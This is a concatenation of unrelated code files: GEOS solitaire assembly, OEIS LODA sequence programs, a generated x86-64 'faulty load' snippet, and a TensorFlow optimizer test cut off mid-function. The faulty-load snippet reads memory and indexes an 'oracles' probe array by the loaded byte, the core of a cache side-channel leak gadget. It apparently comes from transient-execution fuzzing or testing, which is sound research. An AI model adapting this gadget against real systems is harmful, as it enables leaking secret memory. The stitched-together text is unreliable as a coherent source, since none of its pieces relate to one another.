muteSet:
;
; Mute the sound?
;
segmov ds, cs, cx
mov si, offset klondikeCategoryString ;category
mov dx, offset klondikeMuteSoundString ;key
clr ax
call InitFileReadBoolean
and ax, 1 ;filter through mute bit
jz markGameOpen
mov_tr cx, ax
clr dx
mov bx, handle SoundList
mov si, offset SoundList
mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE
clr di
call ObjMessage
markGameOpen:
call SolitaireMarkGameOpen
done:
.leave
ret
SolitaireOpenApplication endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireCheckIfGameIsOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Will check if the varData ATTR_SOLITAIRE_GAME_OPEN
exists for MyPlayingTable
CALLED BY: SolitiareOpenApplication
PASS: nothing
RETURN: carry set if vardata found
carry clear if not found
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
PW 7/ 7/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireCheckIfGameIsOpen proc near
uses ax,bx,cx,dx,si,di,bp
.enter
sub sp, size GetVarDataParams
mov bp, sp
mov ss:[bp].GVDP_dataType, \
ATTR_SOLITAIRE_GAME_OPEN
mov {word} ss:[bp].GVDP_bufferSize, 0
; clrdw ss:[bp].GVDP_buffer
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov ax, MSG_META_GET_VAR_DATA
mov dx, size GetVarDataParams
mov di, mask MF_CALL or mask MF_STACK
call ObjMessage
add sp, size GetVarDataParams
cmp ax, -1 ; check if not found
stc
jne varDataFound
;varDataNotFound:
clc
varDataFound:
.leave
ret
SolitaireCheckIfGameIsOpen endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireMarkGameOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Will add the varData ATTR_SOLITAIRE_GAME_OPEN to
MyPlayingTable
CALLED BY: SolitaireOpenApplication
PASS: nothing
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
PW 7/ 7/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireMarkGameOpen proc near
uses ax,bx,cx,dx,si,di,bp
.enter
sub sp, size AddVarDataParams
mov bp, sp
mov ss:[bp].AVDP_dataType, \
ATTR_SOLITAIRE_GAME_OPEN
mov {word} ss:[bp].AVDP_dataSize, size byte
clrdw ss:[bp].AVDP_data
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov ax, MSG_META_ADD_VAR_DATA
mov dx, size AddVarDataParams
mov di, mask MF_CALL or mask MF_STACK
call ObjMessage
add sp, size AddVarDataParams
.leave
ret
SolitaireMarkGameOpen endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetViewBackgroundColor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the background color of the view to green if on
a color display, white if on a black and white
display, and gray if on a TV
CALLED BY: SolitaireOpenApplication
PASS:
RETURN:
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
This routine should be optimized for SMALL SIZE over SPEED
Common cases:
unknown
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 6/ 7/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetViewBackgroundColor proc near
uses ax,bx,cx,dx,di,si,bp
.enter
; Use VUP_QUERY to field to avoid building GenApp object.
;
mov bx, segment GenFieldClass
mov si, offset GenFieldClass
mov ax, MSG_VIS_VUP_QUERY
mov cx, VUQ_DISPLAY_SCHEME ; get display scheme
mov di, mask MF_RECORD
call ObjMessage ; di = event handle
mov cx, di ; cx = event handle
mov bx, handle SolitaireApp
mov si, offset SolitaireApp
mov ax, MSG_GEN_CALL_PARENT
mov di,mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ah = display type, bp = ptsize
mov cl, C_GREEN ;assume color display
mov al, ah ; save for second test
and ah, mask DT_DISP_CLASS
cmp ah, DC_GRAY_1 shl offset DT_DISP_CLASS
jne testTV
mov cl,C_WHITE
jmp short setColor
testTV:
and al, mask DT_DISP_ASPECT_RATIO
cmp al, DAR_TV shl offset DT_DISP_ASPECT_RATIO
jne setColor
mov cl, C_LIGHT_GRAY
setColor:
mov ch, CF_INDEX or (CMT_DITHER shl offset CMM_MAP_TYPE)
mov bx,handle SolitaireView
mov si,offset SolitaireView
mov di,mask MF_FIXUP_DS
mov ax,MSG_GEN_VIEW_SET_COLOR
call ObjMessage
.leave
ret
SolitaireSetViewBackgroundColor endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireRestoreFromState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: send a message to the game object telling it that we are
restoring from state.
CALLED BY: GLOBAL
PASS: es - dgroup
RETURN: nada
DESTROYED: Whatever our superclass destroys
PSEUDO CODE/STRATEGY:
This page intentionally left blank
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 1/ 3/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireRestoreFromState method SolitaireProcessClass,
MSG_GEN_PROCESS_RESTORE_FROM_STATE
push cx, dx, bp ; save passed values
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov cx, bp
mov ax, MSG_GAME_RESTORE_STATE
mov di, mask MF_FIXUP_DS
call ObjMessage
pop cx, dx, bp ; restore passed values
mov di, segment SolitaireProcessClass
mov es, di
mov di, offset SolitaireProcessClass
mov ax, MSG_GEN_PROCESS_RESTORE_FROM_STATE
GOTO ObjCallSuperNoLock
SolitaireRestoreFromState endm
SolitaireShutDown method SolitaireProcessClass,
MSG_GEN_PROCESS_CLOSE_APPLICATION
.enter
;
; Save quick tips setting
;
mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS
mov bx, handle ShowOnStartupGroup
mov si, offset ShowOnStartupGroup
mov di, mask MF_CALL
call ObjMessage
and ax, SHOW_ON_STARTUP ; filter out other garbage
xor ax, SHOW_ON_STARTUP ; setting TRUE if checkbox CLEARED
push ds
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeTipsString
call InitFileWriteBoolean
call InitFileCommit
pop ds
mov ax, MSG_GAME_SAVE_STATE
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
push cx ;save block
; mov bx, handle MyPlayingTable
; mov si, offset MyPlayingTable
mov di, mask MF_FIXUP_DS or mask MF_CALL
mov ax, MSG_GAME_SHUTDOWN
call ObjMessage
mov di, segment SolitaireProcessClass
mov es, di
mov di, offset SolitaireProcessClass
mov ax, MSG_GEN_PROCESS_CLOSE_APPLICATION
call ObjCallSuperNoLock
pop cx
.leave
ret
SolitaireShutDown endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
KlondikeSaveOptions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine saves the current settings of the options menu
to the .ini file.
CALLED BY: GLOBAL
PASS: es - idata
RETURN: nada
DESTROYED: various important but undocumented things
PSEUDO CODE/STRATEGY:
This page intentionally left blank
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 1/ 3/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSaveOptions method SolitaireProcessClass, MSG_META_SAVE_OPTIONS
;
; Save countdown seconds
;
mov ax, MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov di, mask MF_CALL
call ObjMessage ;CX <- starting level
mov bp, cx ;BP <- value
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeCountdownTimeString
call InitFileWriteInteger
;
; Save which back
;
mov ax, MSG_GAME_GET_WHICH_BACK
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov di, mask MF_CALL
call ObjMessage ;CX <- starting level
mov bp, cx ;BP <- value
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeWhichBackString
call InitFileWriteInteger
;
; Save the number of cards to flip each time
;
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov bx, handle DrawList
mov si, offset DrawList
mov di, mask MF_CALL
call ObjMessage ;aX <- starting level
mov_tr bp, ax ;BP <- value
mov cx, ds
mov si, offset klondikeCategoryString
mov dx, offset klondikeDrawHowManyString
call InitFileWriteInteger
;
; Save scoring mode
;
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov bx, handle ScoringList
mov si, offset ScoringList
mov di, mask MF_CALL
call ObjMessage ;aX <- starting level
mov_tr bp, ax ;BP <- value
mov cx, ds
mov si, offset klondikeCategoryString
mov dx, offset klondikeScoringModeString
call InitFileWriteInteger
;
; Save the play level
;
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov bx, handle UserModeList
mov si, offset UserModeList
mov di, mask MF_CALL
call ObjMessage
mov_tr bp, ax
mov cx, ds
mov si, offset klondikeCategoryString
mov dx, offset klondikePlayLevelString
call InitFileWriteInteger
if _NDO2000
;
; Save the drag mode
;
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov bx, handle DragList
mov si, offset DragList
mov di, mask MF_CALL
call ObjMessage
mov_tr bp, ax
mov cx, ds
mov si, offset klondikeCategoryString
mov dx, offset klondikeDragModeString
call InitFileWriteInteger
endif
;
; Save fade mode
;
mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS
mov bx, handle FadeList
mov si, offset FadeList
mov di, mask MF_CALL
call ObjMessage ;LES_ACTUAL_EXCL set if on...
and ax, 1 ;filter through fade bit
mov cx, ds
mov si, offset klondikeCategoryString
mov dx, offset klondikeFadingString
call InitFileWriteBoolean
;
; Save mute sound
;
mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS
mov bx, handle SoundList
mov si, offset SoundList
mov di, mask MF_CALL
call ObjMessage ;LES_ACTUAL_EXCL set if on...
and ax, 1 ;filter through mute bit
mov cx, ds
mov si, offset klondikeCategoryString
mov dx, offset klondikeMuteSoundString
call InitFileWriteBoolean
call InitFileCommit
ret
SolitaireSaveOptions endm
klondikeCategoryString char "klondike",0
klondikeWhichBackString char "whichBack",0
klondikeDrawHowManyString char "drawHowManyCards",0
klondikeScoringModeString char "scoringMode",0
klondikePlayLevelString char "playLevel",0
if _NDO2000
klondikeDragModeString char "dragMode",0
endif
klondikeFadingString char "fadeCards",0
klondikeCountdownTimeString char "countdown",0
klondikeResetScoreString char "resetScore",0
klondikeMuteSoundString char "muteSound",0
klondikeTipsString char "noShowTips",0
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetUpSounds
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create Sound Handles for sounds
CALLED BY: OpenApplication
PASS: nothing
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
Initializes handles in udata.
PSEUDO CODE/STRATEGY:
Call SoundAllocNote for all the sounds
REVISION HISTORY:
Name Date Description
---- ---- -----------
DH 2/29/2000 Stolen from Tetris
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
udata segment
dealingSoundHandle word
if 0
outOfTimeSoundHandle word
gameWonSoundHandle word
endif
cardMoveFlipSoundHandle word
dropBadSoundHandle word
udata ends
ONE_VOICE = 1
THREE_VOICES = 3
DealingSoundBuffer segment resource
SimpleSoundHeader ONE_VOICE
ChangeEnvelope 0, IP_BASS_DRUM_1
General GE_SET_PRIORITY
word SP_GAME
VoiceOn 0, FR_BASS_DRUM_1, DYNAMIC_F
DeltaTick 5
VoiceOff 0
General GE_END_OF_SONG
DealingSoundBuffer ends
if 0
OutOfTimeSoundBuffer segment resource
SimpleSoundHeader ONE_VOICE
ChangeEnvelope 0, IP_ACOUSTIC_GRAND_PIANO
General GE_SET_PRIORITY
word SP_GAME
VoiceOn 0, MIDDLE_C_SH, DYNAMIC_F
DeltaTick 3
VoiceOff 0
VoiceOn 0, MIDDLE_C_SH, DYNAMIC_F
DeltaTick 3
VoiceOff 0
General GE_END_OF_SONG
OutOfTimeSoundBuffer ends
GameWonSoundBuffer segment resource
SimpleSoundHeader ONE_VOICE
ChangeEnvelope 0, IP_ACOUSTIC_GRAND_PIANO
General GE_SET_PRIORITY
word SP_GAME
DeltaTick 1
VoiceOn 0, MIDDLE_C, DYNAMIC_F
DeltaTick 1
VoiceOff 0
General GE_END_OF_SONG
GameWonSoundBuffer ends
endif
CardMoveFlipSoundBuffer segment resource
SimpleSoundHeader ONE_VOICE
ChangeEnvelope 0, IP_SHAKUHACHI
General GE_SET_PRIORITY
word SP_GAME
VoiceOn 0, HIGH_B, DYNAMIC_F
DeltaTick 3
VoiceOff 0
General GE_END_OF_SONG
CardMoveFlipSoundBuffer ends
DropBadSoundBuffer segment resource
SimpleSoundHeader THREE_VOICES
ChangeEnvelope 0, IP_ORCHESTRA_HIT
ChangeEnvelope 1, IP_ORCHESTRA_HIT
ChangeEnvelope 2, IP_ORCHESTRA_HIT
General GE_SET_PRIORITY
word SP_GAME
VoiceOn 0, MIDDLE_F_SH, DYNAMIC_MF
VoiceOn 1, MIDDLE_A_SH, DYNAMIC_MF
VoiceOn 2, HIGH_C, DYNAMIC_MF
DeltaTick 10
VoiceOff 0
VoiceOff 1
VoiceOff 2
General GE_END_OF_SONG
DropBadSoundBuffer ends
SolitaireSetUpSounds proc near
uses ax, bx, cx, dx, si, di, ds
.enter
segmov ds, udata, ax
;
; Allocate a sound handle so we can tick when each card is dealt in
; the startup dealing sequence
mov cx, 1
mov bx, handle DealingSoundBuffer
call SoundInitMusic
mov ds:[dealingSoundHandle], bx
;
; Set us up as the owner
mov_tr ax, bx
call GeodeGetProcessHandle
xchg ax, bx ;AX <- process handle
;BX <- sound handle
call SoundChangeOwner
if 0
;
; Allocate a sound handle so we can make a noise
; when the game is over because time ran out
mov cx, 1
mov bx, handle OutOfTimeSoundBuffer
call SoundInitMusic
mov ds:[outOfTimeSoundHandle], bx
;
; Set us up as the owner
mov_tr ax, bx
call GeodeGetProcessHandle
xchg ax, bx
call SoundChangeOwner
;
; Allocate a sound handle so we can make a noise
; when the game is won
mov cx, 1
mov bx, handle GameWonSoundBuffer
call SoundInitMusic
mov ds:[gameWonSoundHandle], bx
;
; Set us up as the owner
mov_tr ax, bx
call GeodeGetProcessHandle
xchg ax, bx
call SoundChangeOwner
endif
;
; Allocate a sound handle so we can make a noise
; when one or move cards are moved or flipped
mov cx, 1
mov bx, handle CardMoveFlipSoundBuffer
call SoundInitMusic
mov ds:[cardMoveFlipSoundHandle], bx
;
; Set us up as the owner
mov_tr ax, bx
call GeodeGetProcessHandle
xchg ax, bx
call SoundChangeOwner
;
; Allocate a sound handle so we can make a noise
; when one or more cards are dropped in an illegal place
mov cx, THREE_VOICES
mov bx, handle DropBadSoundBuffer
call SoundInitMusic
mov ds:[dropBadSoundHandle], bx
;
; Set us up as the owner
mov_tr ax, bx
call GeodeGetProcessHandle
xchg ax, bx
call SoundChangeOwner
.leave
ret
SolitaireSetUpSounds endp
CommonCode ends ;end of CommonCode resource
|
; A055364: Number of asymmetric mobiles (circular rooted trees) with n nodes and 3 leaves.
; 1,4,10,22,42,73,119,184,272,389,540,731,969,1261,1614,2037,2538,3126,3811,4603,5512,6550,7728,9058,10553,12226,14090,16160,18450,20975,23751,26794,30120,33747,37692,41973,46609,51619,57022,62839,69090,75796,82979
mov $15,$0
mov $17,$0
add $17,1
lpb $17
clr $0,15
mov $0,$15
sub $17,1
sub $0,$17
mov $12,$0
mov $14,$0
add $14,1
lpb $14
clr $0,12
mov $0,$12
sub $14,1
sub $0,$14
mov $9,$0
mov $11,$0
add $11,1
lpb $11
mov $0,$9
sub $11,1
sub $0,$11
mov $2,$0
gcd $2,3
add $2,$0
mov $3,$2
div $3,2
mov $1,$3
mul $1,3
sub $1,3
div $1,3
add $1,1
add $10,$1
lpe
add $13,$10
lpe
add $16,$13
lpe
mov $1,$16
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x19c71, %rsi
lea addresses_WC_ht+0x2071, %rdi
nop
and %r11, %r11
mov $76, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $52, %r10
lea addresses_D_ht+0x1be19, %rsi
lea addresses_normal_ht+0x390b, %rdi
add $14539, %rbx
mov $46, %rcx
rep movsl
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_WT_ht+0x8071, %rbx
nop
nop
nop
add %r12, %r12
mov $0x6162636465666768, %rdi
movq %rdi, (%rbx)
cmp $37070, %r10
lea addresses_WC_ht+0x15071, %r10
nop
nop
nop
nop
nop
dec %rsi
movb (%r10), %cl
sub %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r8
push %r9
push %rax
push %rdx
// Store
lea addresses_D+0x1c27f, %rdx
nop
nop
nop
add $37732, %r8
mov $0x5152535455565758, %r14
movq %r14, %xmm7
vmovntdq %ymm7, (%rdx)
nop
nop
nop
cmp $46727, %r14
// Store
lea addresses_WT+0xa1b1, %r8
nop
nop
nop
nop
sub %r9, %r9
mov $0x5152535455565758, %r13
movq %r13, (%r8)
nop
nop
sub %r8, %r8
// Store
lea addresses_WT+0xd3d6, %r8
clflush (%r8)
nop
nop
nop
nop
add $8706, %rdx
movl $0x51525354, (%r8)
and %rdx, %rdx
// Store
lea addresses_D+0x11dc5, %r8
nop
nop
nop
nop
nop
cmp $53425, %rax
mov $0x5152535455565758, %rdx
movq %rdx, %xmm2
movups %xmm2, (%r8)
nop
nop
nop
nop
nop
sub $29573, %r14
// Store
lea addresses_UC+0x1f00d, %r13
and $24463, %rdx
movl $0x51525354, (%r13)
nop
nop
nop
nop
and %r13, %r13
// Load
lea addresses_PSE+0x5df1, %r13
and %r10, %r10
mov (%r13), %r9d
nop
inc %r9
// Faulty Load
lea addresses_A+0x1f071, %r10
clflush (%r10)
nop
nop
dec %rax
vmovaps (%r10), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %r14
lea oracles, %r9
and $0xff, %r14
shlq $12, %r14
mov (%r9,%r14,1), %r14
pop %rdx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 0, 'size': 32, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': True}}
{'db': 1, 'a5': 2, '1f': 1, '00': 21817, 'b4': 1, '1c': 7}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A255236: All positive solutions x of the second class of the Pell equation x^2 - 2*y^2 = -7.
; 5,31,181,1055,6149,35839,208885,1217471,7095941,41358175,241053109,1404960479,8188709765,47727298111,278175078901,1621323175295,9449763972869,55077260661919,321013799998645,1871005539329951,10905019435981061,63559111076556415,370449647023357429,2159138771063588159,12584382979358171525,73347159105085440991,427498571651154474421,2491644270801841405535,14522367053159893958789,84642558048157522347199,493332981235785240124405,2875355329366553918399231,16758798994963538270270981,97677438640414675703226655,569305832847524515949088949,3318157558444732419991307039,19339639517820870003998753285,112719679548480487604001212671,656978437773062055620008522741,3829150947089891846116049923775,22317927244766289021076291019909,130078412521507842280341696195679,758152547884280764660973886154165,4418836874784176745685501620729311,25754868700820779709452035838221701,150110375330140501511026713408600895,874907383280022229356708244613383669
mov $1,5
mov $2,8
lpb $0
sub $0,1
add $2,$1
add $1,$2
add $1,$2
add $2,$1
lpe
mov $0,$1
|
; A124072: First differences of A129819.
; 0,1,0,2,1,3,1,4,2,5,2,6,3,7,3,8,4,9,4,10,5,11,5,12,6,13,6,14,7,15,7,16,8,17,8,18,9,19,9,20,10,21,10,22,11,23,11,24,12,25,12,26
add $0,4
dif $0,2
div $0,2
sub $0,1
|
/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/core/grappler/optimizers/data/parallel_batch.h"
#include "tensorflow/core/framework/attr_value_util.h"
#include "tensorflow/core/framework/function_testlib.h"
#include "tensorflow/core/framework/tensor_testutil.h"
#include "tensorflow/core/grappler/grappler_item.h"
#include "tensorflow/core/grappler/optimizers/data/graph_test_utils.h"
#include "tensorflow/core/grappler/optimizers/data/graph_utils.h"
#include "tensorflow/core/lib/core/status_test_util.h"
#include "tensorflow/core/platform/test.h"
namespace tensorflow {
namespace grappler {
namespace {
TEST(ParallelBatch, Batch) {
using test::function::NDef;
GrapplerItem item;
item.graph = test::function::GDef(
{NDef("start", "Const", {}, {{"value", 0}, {"dtype", DT_INT32}}),
NDef("stop", "Const", {}, {{"value", 10}, {"dtype", DT_INT32}}),
NDef("step", "Const", {}, {{"value", 1}, {"dtype", DT_INT32}}),
NDef("range", "RangeDataset", {"start", "stop", "step"}, {}),
NDef("batch_size", "Const", {}, {{"value", 5}, {"dtype", DT_INT32}}),
NDef("drop_remainder", "Const", {},
{{"value", false}, {"dtype", DT_BOOL}}),
NDef("batch", "BatchDatasetV2",
{"range", "batch_size", "drop_remainder"}, {})});
ParallelBatch optimizer;
GraphDef output;
TF_ASSERT_OK(optimizer.Optimize(nullptr, item, &output));
EXPECT_TRUE(graph_utils::ContainsGraphNodeWithName("batch", output));
int index = graph_utils::FindGraphNodeWithName("batch", output);
EXPECT_TRUE(output.node(index).attr().at("parallel_copy").b());
}
TEST(ParallelBatch, PaddedBatch) {
using test::function::NDef;
GrapplerItem item;
item.graph = test::function::GDef(
{NDef("start", "Const", {}, {{"value", 0}, {"dtype", DT_INT32}}),
